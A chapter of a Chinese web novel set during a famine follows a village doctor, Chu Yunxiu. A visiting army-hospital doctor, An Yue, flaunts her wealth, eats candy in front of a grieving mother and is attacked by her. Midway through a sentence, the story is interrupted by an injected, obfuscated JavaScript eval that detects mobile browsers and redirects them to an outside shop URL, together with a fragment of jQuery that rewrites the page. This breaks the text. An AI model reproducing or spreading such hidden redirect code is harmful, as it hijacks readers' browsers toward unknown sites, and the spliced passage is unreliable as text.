简单的表彰会议在医院会议室进行。因现在条件艰苦,没有组织隆重的仪式,只是军区医院派来的代表简单讲了话,传达了军区医院领导的认可,为几人颁发了奖状和奖品,便安排褚云袖带着来访的几名军区医院医生,去治疗区观摩学习救治流程。
全程下来,周遇礼刻意避开褚云袖,行事全然公事公办,态度冷淡疏离。褚云袖心中坦然,只觉省心。她本就不愿与他再有任何牵扯,对方主动疏远,正合她的心意。
一同前来的几人都穿着规整的军装,言行低调克制,唯独安悦格外惹眼。
她踩着一双锃亮的高跟鞋,身上是时下最时兴的呢子大衣,料子厚实挺括,颜色鲜亮,在满院灰扑扑、打着补丁的衣物堆里格外突兀。一路行来,她脊背挺得笔直,脸上挂着藏不住的优越感,一举一动都透着军区大医院出身的傲气,仿佛此番下基层,只是一场走过场的视察。
她快步走到褚云袖身侧,刻意与她并肩而行,语气带着几分炫耀。
“褚医生,跟你说桩喜事,我和遇礼婚事定下来了,再过两个月就要办了,到时候你务必来军区医院喝杯喜酒。”
褚云袖脚步未停,目光平视前方病房的方向,神色平淡,语气疏离:“我们关系很熟吗?”
安悦脚步一顿,脸上的笑意瞬间僵住,明显被这句话噎得无话可说。她愣了两秒,很快又敛去局促,勾起嘴角,带着几分刻意的挑衅。
“不熟也无妨。当初你对遇礼的那点心思,不少人都看在眼里,我不往心里去。”
褚云袖这才侧过头,淡淡看向她,眼神清亮,不带半分波澜。
“你是听旁人说的,还是亲眼见的?”她语气平静,字字清晰,“我从未对外提过半句,周遇礼也不会跟你乱提过往,我和他从来没有过半分牵扯。”
她心里通透。周遇礼性子执拗爱体面,就算心胸狭隘,也绝不会把这点捕风捉影的闲话,说给未婚妻听。安悦不过是凭着主观臆想,故意拿话挤兑她。
果然,话音落下的瞬间,安悦脸上的得意彻底褪去,脸色骤然一白。
她张了张嘴,半天挤不出一句话,先前的盛气凌人尽数消散,默默收敛了脚步,再也不敢主动凑到褚云袖跟前搭话。
褚云袖收回目光,继续往前走。
眼下荒年局势严峻,全院上下,无论是医护人员还是病患家属,个个面色蜡黄、身形消瘦,身上衣物洗得发白、打满补丁,人人都在咬牙熬日子。唯独安悦一身光鲜,妆容精致,浑身不见半点困顿憔悴,与这片压抑贫瘠的环境格格不入。
出于善意,褚云袖还是开口提醒了一句。
“你最好回去换身低调朴素的衣服,待会儿要进病房接触病患。这里的病人大多饿了许久,心里敏感,你这身打扮太扎眼。”
这番真心劝告,反倒戳中了安悦的虚荣心,让她当场变了脸色。
她眉头狠狠拧起,语气刻薄又傲气:“我的穿戴轮不到你来指点。你自己日子过得拮据寒酸,就见不得别人条件好?说白了就是眼红嫉妒。”
她上下扫了一眼褚云袖的装扮。半新不旧的素色毛衣,深色长裤干净利落,外面套着一件洗得略微泛白的白大褂,朴素得毫无亮点。两相一对比,安悦心底的优越感再次翻涌上来,眼神越发得意。
“没想到原来你样样拔尖,傲气十足,如今还不是困在基层小医院忙活琐碎杂事。褚云袖,你也有落魄的时候。”
褚云袖轻轻摇头,没再争辩半句。心底淡淡掠过一句,好话劝不醒自负人。
她上辈子行医多年,深知医患人心最是难测。荒年物资匮乏,人人都在温饱线上挣扎,人心本就敏感脆弱,极易滋生怨怼。从前就有同行只因穿戴太过体面惹眼,被心态失衡的病患家属记恨,闹出过激事端。
艰难年月,低调安分才是自保之道,半点张扬都可能招来无妄之灾。
安悦仗着家境优越、身处军区大医院,自视高人一等,全然不懂世道险恶。既然她执意如此,褚云袖便不再多费口舌。
一行人进入治疗区。病房里浓重的药味混着麦麸的淡味扑面而来。一张张病床整齐排列,床上躺着的病人大多浑身浮肿,面色蜡黄,身体虚弱,连睁眼的力气都没有,安静得只剩微弱的呼吸声。
压抑沉重的氛围笼罩着整间病房。
安悦鼻尖萦绕着浓重的草药味和淡淡的麦麸气息,很是不适,下意识抬手捂住口鼻,眉眼间的嫌弃藏都藏不住。一身精致鲜亮的呢子大衣,在满室憔悴虚弱的病患衬托下,格外刺眼突兀。
褚云袖无视她的小动作,径直走到病床边,俯身细致查看病人的气色,伸手轻搭脉象,低声询问陪护的家属今日的饮食和身体状况,神情专注认真,全程专心尽责。
第一天的观摩学习工作顺利结束。除必要的工作对接,褚云袖全程未曾搭理安悦,始终保持距离,踏实做好本职工作。
第二天下午,意外突然发生。
附近村子里的村民急匆匆送来一名六岁女童。因粮食不足,孩子饿得难耐,私自前往野外挖食野菜,不慎误食毒草。家人发现时,孩子已出现腹痛呕吐、浑身发紫的症状,陷入深度昏迷。
村里赤脚大夫解毒药品紧缺,加之送医延误太久,毒素彻底侵入脏腑。大家全力抢救,终究还是无力回天。孩子最终没能救回来。
丧女之痛彻底击溃了孩子娘,她瘫坐在抢救室门口失声痛哭,哭声嘶哑绝望,听得周遭众人心头沉重。普通人的无助与悲凉,在此刻展露无遗。
病区所有人满心惋惜,情绪低落,唯独安悦无动于衷。
她兜里揣着极为稀缺的奶糖,当着大家面,慢悠悠剥着糖纸吃糖,嘴角还带着几分散漫笑意。满室悲戚死寂,她这种冷漠的态度,格外刺目。
刚刚痛失爱女的母亲抬头撞见这一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17769586|204090||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
幕,极致的悲痛瞬间化为滔天怒火。长久挨饿受穷的憋屈和骤然丧女的剧痛,彻底冲垮了她的理智。
她双目赤红,嘶吼一声,直直朝着安悦扑去。
安悦猝不及防,根本来不及躲闪,当场被狠狠撞倒。高跟鞋卡在水泥缝隙中,脚踝重重扭伤,整个人结结实实摔落在地。
孩子母亲彻底失控,扑上前扬手就朝安悦脸上连扇数掌,力道沉猛,一边打一边哭喊怒骂,斥责她作为一名医生,冷血无情,漠视人命。
周围医护与家属连忙上前拉扯劝阻,场面瞬间大乱。
安悦自幼娇生惯养,从未受过这般委屈与伤痛。脚踝疼得钻心,脸颊火辣辣肿痛,又怕又怒,坐在地上撒泼大哭,叫嚷着要找公安,将动手的人抓起来治罪。
混乱之际,褚云袖只能让人去喊了周遇礼过来。
周遇礼从别人口中知道了事情的经过,再看一眼现场的混乱,脸色瞬间阴沉,快步上前出声制止安悦。“够了,闭嘴。”声音不高,却自带一股军人沉稳威严,克制着心底的愠怒,气场凛冽,“这里是救死扶伤的地方,人人都在苦熬度日。人家孩子不幸夭折,家属悲痛欲绝,就你还在幸灾乐祸,惹是生非。”
安悦哭得浑身发抖,满心委屈,哽咽着争辩:“是她先动手打我!我吃自己的东西怎么了,我的脚崴了,脸也肿了,我不能白白受欺负!”
周遇礼眉头紧蹙,眼底满是失望,语气严肃克制,毫无半分纵容:“你还心存委屈?如今荒年难熬,家家户户都在忍饥挨饿,一条鲜活的小生命说没就没。而你干了什么,不知道体恤旁人悲痛,当众吃糖嬉笑,换作任何人都难以容忍。这件事,从头到尾都是你自己的问题。”
见她依旧哭哭啼啼,他语气愈发沉厉,带着不容置喙的原则底线:“我最后警告你,立刻安分下来!不要再胡搅蛮缠。”
这番呵斥,彻底压下了安悦的气焰。她瞬间止住哭声,死死咬着嘴唇,眼眶通红,满心委屈却不敢再肆意叫嚷撒泼。她知道周遇礼这是真的生气了,她也不敢再闹腾。
周遇礼带走安悦后,黎主任和褚云袖立刻安排人手安抚悲痛过度的家属和清理现场,纷乱的病区才渐渐恢复秩序。
安悦脚伤住进病房后,更是整日哭哭啼啼,挑三拣四,还嫌弃病房环境简陋,吃的不好,没完没了的折腾,搅得大家都有些烦躁。不到两天,周遇礼被她无休止的闹腾彻底耗尽了耐心。赶紧结束观摩学习任务,带着人提前返回了军区医院。
总算把人送走后,褚云袖这边重要的工作也算是都完成了,她立刻前往院部报备请假回郑向东老家的事,行李她都提前收拾好了。前几天打完电话后,郑向东也跟师部请好了假,把手上的工作一交接,下午就能赶到同远这边,两人打算一碰面就坐车回郑向东老家。车子郑向东都已经提前联系好了,从同远出发,搭乘卡车,十几个小时就能到郑向东老家县城。